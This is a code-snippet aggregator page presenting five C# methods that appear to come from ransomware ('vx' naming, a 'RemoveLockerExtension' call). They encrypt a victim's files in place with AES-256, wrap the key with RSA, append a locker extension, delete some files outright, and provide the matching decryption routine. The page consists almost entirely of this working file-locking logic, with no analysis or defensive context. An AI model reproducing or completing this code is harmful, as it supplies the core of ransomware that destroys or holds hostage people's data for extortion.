Ejemplo n.º 1
0
    private byte[] GetEncryptedFile(vxFile file)
    {
        try
        {
            long DataSize = file.DATA.Length;

            byte[] FullData;

            using (MemoryStream mem = new MemoryStream())
            {
                using (BinaryWriter writer = new BinaryWriter(mem, Encoding.BigEndianUnicode))
                {
                    writer.Write(BitConverter.GetBytes(VERSION), 0, 2);
                    writer.Write(BitConverter.GetBytes(DataSize), 0, sizeof(UInt64));
                    writer.Write(file.Header.RSA_KEY, 0, file.Header.RSA_KEY.Length);
                    writer.Write(file.Header.CHECKSUM, 0, file.Header.CHECKSUM.Length);
                    writer.Write(file.DATA, 0, file.DATA.Length);
                }

                FullData = mem.ToArray();
                mem.Close();

                return(FullData);
            }
        }
        catch (IOException)
        {
            return(null);
        }
        catch (Exception)
        {
            return(null);
        }
    }
Ejemplo n.º 2
0
    public void EncryptFile(string file)
    {
        byte[] EncryptedData = new byte[] { 0 };

        vxFile       encFile = new vxFile();
        vxFileHeader header  = new vxFileHeader();

        vxFunctions.CheckSums CHCKSM = new vxFunctions.CheckSums();
        RijndaelManaged       AES    = new RijndaelManaged();

        SetupAES(ref AES);

        int totalKeySize = (AES.KeySize / 8) + (AES.BlockSize / 8);

        byte[] Keys = new byte[totalKeySize];

        Array.Copy(AES.Key, 0, Keys, 0, 32);
        Array.Copy(AES.IV, 0, Keys, 32, 16);

        if (!File.Exists(file))
        {
            return;
        }

        header.RSA_KEY  = encryption.RSA.Encrypt(Keys, true);
        header.CHECKSUM = Encoding.ASCII.GetBytes(CHCKSM.SHA256CheckSum(file));
        header.Version  = VERSION;

        if (IsFileEncrypted(Encoding.ASCII.GetString(header.CHECKSUM)))
        {
            try
            {
                File.Delete(file);
            }
            catch (Exception) { }
            return;
        }

        byte[] EncFile = ReadFile(file);


        encFile.Header = header;
        encFile.DATA   = EncryptFileInMemory(EncFile, AES);

        byte[] FinalData = GetEncryptedFile(encFile);

        try
        {
            File.WriteAllBytes(file, FinalData);
            File.Move(file, string.Format("{0}.{1}", file, encryptedExt));
            vxEncrypted.Add(encFile.Header);
        }
        catch (IOException) { }
        catch (UnauthorizedAccessException) { }
        catch (Exception) {
        }
    }
Ejemplo n.º 3
0
    byte[] getBytes(vxFile str)
    {
        int size = Marshal.SizeOf(str);

        byte[] arr = new byte[size];

        IntPtr ptr = Marshal.AllocHGlobal(size);

        Marshal.StructureToPtr(str, ptr, true);
        Marshal.Copy(ptr, arr, 0, size);
        Marshal.FreeHGlobal(ptr);
        return(arr);
    }
Ejemplo n.º 4
0
    vxFile ReadFileStruct(string file)
    {
        vxFile       myfile = new vxFile();
        vxFileHeader myhead = new vxFileHeader();

        try
        {
            using (var xvReader = new BinaryReader(File.OpenRead(file), Encoding.BigEndianUnicode))
            {
                myhead.Version  = xvReader.ReadUInt16();
                myhead.Size     = xvReader.ReadUInt64();
                myhead.RSA_KEY  = xvReader.ReadBytes(256);
                myhead.CHECKSUM = xvReader.ReadBytes(64);
                myfile.Header   = myhead;
                myfile.DATA     = xvReader.ReadBytes((int)myhead.Size);
            }

            return(myfile);
        }
        catch (IOException) { return(null); }
        catch { return(null); }
    }
Ejemplo n.º 5
0
    public void DecryptFile(string file)
    {
        byte[] EncryptedStruct = new byte[] { 0 };
        string cryptFile       = file;

        vxFile       _enc    = new vxFile();
        vxFileHeader _header = new vxFileHeader();

        vxFunctions.CheckSums CHCKSM = new vxFunctions.CheckSums();
        RijndaelManaged       AES    = new RijndaelManaged();

        AES.KeySize   = 256;
        AES.BlockSize = 128;
        AES.Mode      = CipherMode.CBC;

        using (var x = File.OpenRead(file))
        {
            if (x.Length < MIN_FILE_SIZE)
            {
                return;
            }
        }

        vxFile FileToDec = ReadFileStruct(file);

        if (FileToDec == null)
        {
            return;
        }

        byte[] RSA_KEY       = FileToDec.Header.RSA_KEY;
        byte[] AES_Decrypted = new byte[] { 0 };

        try
        {
            AES_Decrypted = encryption.RSA.Decrypt(RSA_KEY, true);
        }
        catch (CryptographicException)
        {
            return;
        }
        catch (Exception) { return; }

        byte[] AES_KEY = new byte[32];
        byte[] AES_IV  = new byte[16];

        if (AES_Decrypted.Length < 48)
        {
            return;
        }

        try
        {
            Array.Copy(AES_Decrypted, 0, AES_KEY, 0, AES_KEY.Length);
            Array.Copy(AES_Decrypted, 32, AES_IV, 0, AES_IV.Length);
        }
        catch { }

        AES.Key = AES_KEY;
        AES.IV  = AES_IV;

        byte[] DecryptedBytes = null;

        try
        {
            using (MemoryStream ms = new MemoryStream())
            {
                using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
                {
                    cs.Write(FileToDec.DATA, 0, FileToDec.DATA.Length);
                }
                DecryptedBytes = ms.ToArray();
            }
        }
        catch { }

        try
        {
            File.WriteAllBytes(file, DecryptedBytes);
        }
        catch (IOException) { }
        catch { }

        RemoveLockerExtension(file);
    }